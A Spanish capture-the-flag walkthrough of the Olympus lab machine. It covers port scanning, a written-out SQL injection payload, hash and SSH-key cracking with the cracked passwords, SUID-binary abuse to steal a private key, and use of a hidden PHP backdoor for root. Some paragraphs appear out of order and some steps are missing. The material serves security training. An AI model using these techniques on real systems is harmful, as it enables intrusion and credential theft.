Olympus es una maquina em la que tendremos que enumerar los directorios del sitio web para luego tener que explotar un sql injecction para enumerar las credenciales validad y luego encontrar el nombre de nuestro archivo malicioso que le asigna la funcion y lo alamcena en la base de datos.
Link
Created by
Walkthrough
Enumeración
Empezaremos con la enumeración de puertos haciendo uso de la herramienta de nmap
❯ nmap -p- --open --min-rate 1000 -vvv -Pn -n 10.10.152.108 -oG allportsScan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Primero enumeramos los puertos abiertos, así no nos tomara mucho tiempo como si enumeráramos servicios y versiones de cada uno de los puertos. En este caso nos da dos puertos, los cuales son 22 y 80
Enumerando las versiones y servicios de los puertos obtendremos la siguiente información
❯ nmap -p22,80 -sC -sV -Pn -vvv -n 10.10.152.108 -oN servicesScan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNeXYxrC1xv8fhFNve9CXjWSQcCXnWZThU1putOar7KBcQmoCQUYOqvmS+CDauJMPqVE3rqS0+CpTJnZn2ZWXDaCzFLZ84hjBXq8BqoWOFB0Vv0PjRKfBKC54tpA67NgLfp1TmmlS6jp4i75lxkZ6pSTOPxGUrvYvJ0iN2cAHJkgA9SZDrvT11HEp5oLmS2lXtFSoK/Q9pKNIl7y+07gZLRUeIKIn1bFRc4qrXn+rpDQR2fP9OEYiHhdJmTJJL+KjDAqZmIj0SYtuzD4Ok2Nkg5DHlCzOizYNQAkkj6Ift7dkD6LPebRp9MkAoThDzLya7YaFIP66mCbxJRPcNfQ3bJkUy0qTsu9MiiNtyvd9m8vacyA803eKIERIRj5JK1BTUKNAzsZeAuao9Kq/etHskvTy0TKspeBLwdmmRFkqerDIrznWcRyG/UnsEGUARe2h6CwuCJH8QCPMSc93zMrsZNs1z3FIoMzWTf23MWDOeNA8dkYewrDywEuOvb3Vrvk=
| 256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHFtzLQXLhGiDzPN7Al84lSfH3jFwGniFL5WQSaIjC+VGMU8mbvbGVuOij+xUAbYarbBuoUagljDmBR5WIRSDeo=
| 256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKhvoRyjZN/taS1uwwTaQ4uZrGhVUje0YWW4jg4rfdXw
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://olympus.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración del puerto 80
Haciendo uso de la herramienta de whatweb obtendremos mas información sobre el sitio web. Podemos observar que la web nos redirige a un dominio, el que debemos agregar al /etc/hosts
.
.
.
[ RedirectLocation ]
HTTP Server string location. used with http-status 301 and
302
String : http://olympus.thm (from location)
.
.
.
El sitio web se ve de la siguiente manera:
Ahora lo que haremos será fuzzing de directorios que pueden no podemos visualizar del sitio web, la herramienta que usaremos será ffuf, tu puedes hacer uso de otras pero en lo personal esta me esta llegando a gustar
Pudimos enumerar el numero de columnas que tiene la consulta.
Procederemos a enumerar las base de datos search=admin%27union%20select%201,2,group_concat(schema_name),4,5,6,7,8,9,10%20from%20information_schema.schemata--%20-&submit=
❯ john --wordlist=/usr/share/wordlists/rockyou.txt credentials
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
summertime (prometheus)
1g 0:00:05:38 0.11% (ETA: 2023-11-28 09:46) 0.002957g/s 57.60p/s 127.2c/s 127.2C/s jason01..david10
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
Revisando el CMS encontraremos correos de los usuarios, en el cual podemos ver un subdominio que es chat.olympus.thm así que visitaremos el subdominio. Antes de visitar por el navegador no olvides agregar en el /etc/hosts
Se intento ingresar al CMS con los usuarios y la contraseña encontrada, pero no se pudo inciar sesion en el CMS. Tendremos presente la siguiente información
Se puede ver que los archivos se suben en alguna ruta, por lo que vamos a realizar un descubrimiento de directorios haciendo uso de la herramienta ffuf
Encontramos unos directorios interesantes, uno de los directorios que es uploads es un poco mas interesantes. Revisando el directorio podemos ver que no tenemos lectura del directorio para ver el contenido.
SQL injection N° 2
Recordemos que en el mensaje que se tiene leemos que el archivo toma un nombre random, por lo que pensé que no habría mucho que hacer pero recordé que realizar el sql injection vimos una tabla de la base de datos llamada chats. Vamos a iniciar a enumerar esa base de datos con ayuda de Burp Suite
Realizando la consulta obtenemos el nombre de archivo, pero no encontramos nada interesante.
47c3210d51761686f3af40a875eeaaea.txt
Ahora sabemos como enumerar el nombre de los archivos que subimos, conociendo la ruta donde se almacenan podemos subir un archivo php malicioso para ejecutar comandos.
Una vez subida y conociendo el nombre del archivo podemos ejecutar comandos en la maquina victima, ahora lo que haremos sera obtener una revershell para tener una shell de la maquina victima.
Antes de realizar la petición procura ponerte a la escucha con ncat en el puerto de tu preferencia teniendo en cuenta que este puerto debe también ir en la revershell de tu petición
Escala de privilegios
Usuario: www-data
Siendo el usuario www-data tenemos que enumerar los privilegios para poder escalar privilegios.
www-data@olympus:/var/www/olympus.thm$ ls
joom.zip olympus.sql public_html
www-data@olympus:/var/www/olympus.thm$ pwd
/var/www/olympus.thm
www-data@olympus:/var/www/olympus.thm$
Al enumerar los permisos SIUD nos toparemos con un binario que no es común. En los permisos del binario podemos observar que podemos ejecutar y leer el contenido.
www-data@olympus:/var/www/chat.olympus.thm/public_html$ find / -type f -perm -04000 -ls 2>/dev/null
.
.
.
278772 20 -rwsr-xr-x 1 zeus zeus 17728 Apr 18 2022 /usr/bin/cputils
1097 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
824 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
.
.
.
Si ejecutamos el binario nos daremos cuenta que este hace una copia de los archivos que le indiquemos para luego guardarlo en una nueva.
www-data@olympus:/tmp$ cputils
____ ____ _ _ _
/ ___| _ \ _ _| |_(_) |___
| | | |_) | | | | __| | / __|
| |___| __/| |_| | |_| | \__ \
\____|_| \__,_|\__|_|_|___/
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
Por lo que procedernos a realizar una copia del archivo id_rsa del usuario zeus. Pudimos realizar una copia del id_rsa, pero vemos que esta encriptada por lo que haremos uso de ssh2john para obtener el hash y poder crackearla.
Primero obtenemos el hash.
❯ ssh2john id_rsa > hash
Segundo, iniciamos a crackear el hash que se obtuvo.
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snowflake (id_rsa)
1g 0:00:00:44 DONE (2023-11-25 01:53) 0.02225g/s 33.46p/s 33.46c/s 33.46C/s maurice..bunny
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Las credenciales que se obtuvieron son:
zeus - id_rsa: snowflake
Ahora que ya sabemos la credencial del id_rsa podemos logearnos por ssh con el usuario zeus.
Usuario: Zeus
Enumerando el grupo zeus encontraremos ciertos archivos
zeus@olympus:~$ id
uid=1000(zeus) gid=1000(zeus) groups=1000(zeus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
Los archivos que encontramos en las cuales tenemos permiso tiene un contenido que al parecer nos envia una revershell.
zeus@olympus:/var/www$ find / -type f -group zeus -ls 2>/dev/null| grep -vE 'sys|proc'
.
.
.
278736 0 -rwxr-xr-x 1 root zeus 0 Apr 14 2022 /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
282684 4 -rwxr-xr-x 1 root zeus 1589 Jul 15 2022 /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
11776 64 -rw-r----- 1 zeus zeus 63991 Apr 14 2022 /var/crash/_usr_bin_cp-utils.1000.crash
.
.
Aqui tenemos el contenido del archivos a mas detalle:
si vamos al sitio web con la ruta 0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php visualizaremos un panel que nos pide una contraseña, contraseña que se muestra en el codigo fuente del archivo php contraseña: a7c5ffcf139742f52a5267c4a0674129
Ingresando la cotraseña nos redirige a un contenido que al parecer es un backdoor que usaremos para escalar privilegios hasta root.
Ingresamos otra vez con la ip de la maquina atacante y el puerto.
Antes de hacer la petición ponemos a la escucha la herramienta ncat en el puerto de nuestra preferencia.
Usuario: root
¡VAMOS!
Happy hacking :)
Para poder crackear las credenciales que estan encriptadas haremos uso de la herramienta de john Ripper. Esta herramienta es muy potente para esto, pero se tiene otras en la web como
Dejando de lado el crackeo tambien puedes revisar el siguiente post para ver alternativas de explotación
Teniendo las credenciales nos dirigimos a la siguiente ruta de la web donde tenemos un panel de login en el cual ingresaremos las credenciales encontradas.
Ingresamos al sitio web en donde tendremos otro login, al ingresar las credenciales que se encontró realizando el SQLinjection podremos ingresar
Al iniciar sesión encontraremos una app de chat en la cual tenemos unos mensajes, en donde al parecer el usuario prometheus envió unas credenciales.
Ahora subiremos un archivo en php que nos permita ejecutar comandos.
La manera de como hago para obtener una shell es con la herramienta curl y poniendo la revershell en formato